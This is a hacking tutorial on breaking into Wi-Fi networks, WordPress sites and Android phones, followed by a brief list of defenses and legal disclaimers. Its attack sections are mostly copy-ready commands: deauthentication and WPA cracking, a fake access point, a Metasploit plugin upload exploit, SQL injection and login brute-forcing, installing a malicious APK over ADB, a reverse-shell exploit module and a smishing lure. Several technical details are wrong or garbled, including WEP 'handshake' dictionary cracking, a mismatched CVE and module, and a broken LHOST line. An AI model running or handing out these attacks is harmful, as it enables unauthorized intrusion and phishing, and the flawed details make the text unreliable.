Hacking wireless networks (WEP, WPA, WPA2), WordPress sites, and Android devices.

⚠️ Disclaimer : This information is for educational and ethical hacking purposes only . Unauthorized network penetration or device exploitation is illegal and ** unethical**. Always obtain explicit permission before testing any system.


1. Hacking Wireless Networks (WEP, WPA, WPA2)

Tools : Aircrack-ng Suite, Wireshark, Bettercap

A. Cracking WEP (Weak and Obsolete)

  • Steps :
    1. Capture Packets :bashCopy1airodump-ng wlan0mon -c 6 –bssid [BSSID] -w wep_handshake
    2. Deauthenticate Clients (to capture enough packets):
      • aireplay-ng -0 0 -a [BSSID] wlan0mon
    3. Crack the WEP Key :bashCopy1aircrack-ng -b [BSSID] -w /usr/share/wordlists/rockyou.txt wep_handshake-01.cap

B. Cracking WPA/WPA2 (Practical Only with a Handshake)

  • Steps :
    1. Capture Handshake :
      • airodump-ng wlan0mon -c 6 –bssid [BSSID] -w wpa_handshake
    2. Deauthenticate Client :
      • aireplay-ng -0 10 -a [BSSID] -c [Client_MAC] wlan0mon
    3. Crack with Dictionary :
      • aircrack-ng -b [BSSID] -w /usr/share/wordlists/rockyou.txt wpa_handshake-01.cap
    4. GPU Acceleration (Hashcat) :
      • hashcat -m 2500 -a 0 hash.cap /usr/share/wordlists/rockyou.txt

C. WPA2-Karma Attack (Fake AP)

  • Steps :
    • bettercap -iface wlan0 -eval “wifi.recon on; wifi.karma_mac add [BSSID] [SSID]; wifi.karma on”

2. Hacking WordPress Sites

Tools : WPScan, SQLMap, Metasploit, Burp Suite

A. Vulnerability Scanning

  • WPScan :
    • wpscan –url http://target.com –enumerate
      • Identifies outdated plugins, themes, and user enumeration.

B. Exploiting Plugins

  • Example Exploit (vulnerable plugin like “Revslider”):
    • msfconsole
    • use exploit/multi/http/wordpress_revslider_file_upload
    • set RHOST target.com
    • set RPORT 80
    • exploit

C. SQL Injection

  • SQLMap :
    • sqlmap -u “http://target.com/?id=1” –risk=3 –level=5 –threads=5

D. Brute-Force Login

  • Hydra :
    • hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-wordpress

3. Exploiting Android Devices

Tools : Metasploit, ADB, Exploit-DB

A. Exploiting USB Debugging

  • Steps :
    1. Enable ADB :
      • adb devices
    2. Exploit Weak Permissions :
      • adb shell su -c “mount -o remount,rw /system”
    3. Install Malicious APK :
      • adb install malicious.apk

B. Metasploit Exploits

  • Example (CVE-2020-0383) :
    • msfconsole
    • use exploit/android/browser/webkit_javascriptcore_type_confusion
    • set LHOST your_ipset LPORT 4444
    • exploit

C. Phishing via SMS (Smishing)

  • Steps :
    1. Create a fake login page.
    2. Send a link via SMS: “Your Google account is compromised: [link].”

Defense Strategies

Wireless Networks

  • Use WPA3 (if supported).
  • Disable WEP/WPA .
  • Strong Passphrases (15+ characters with symbols).
  • Regularly Update Firmware on routers.

WordPress Security

  • Update Plugins/Themes .
  • Use Strong Passwords (plugins like Wordfence).
  • Limit Login Attempts (e.g., WP Security plugin).
  • Disable XML-RPC (common attack vector).

Android Security

  • Disable USB Debugging by default.
  • Update OS/Apps promptly.
  • Avoid Untrusted Links/Downloads .
  • Use Antivirus Apps (e.g., Malwarebytes).

Ethical Hacking Tools for Defense

ToolUse Case
Aircrack-ngAudit wireless network security.
WPScanScan WordPress sites for vulnerabilities.
MetasploitPenetration testing to identify device exploits.
Burp SuiteTest web app security (e.g., SQLi, XSS).

Final Notes

  • Always Obtain Permission : Unauthorized access is illegal under laws like the Computer Fraud and Abuse Act (CFAA) .
  • Focus on Defense : Use the above techniques to secure systems, not attack them.
  • Stay Updated : Follow CVE databases (e.g., CVE Details ) for new vulnerabilities.

By understanding these methods, you can better protect networks, websites, and devices from real-world attacks. 🔒🛡️
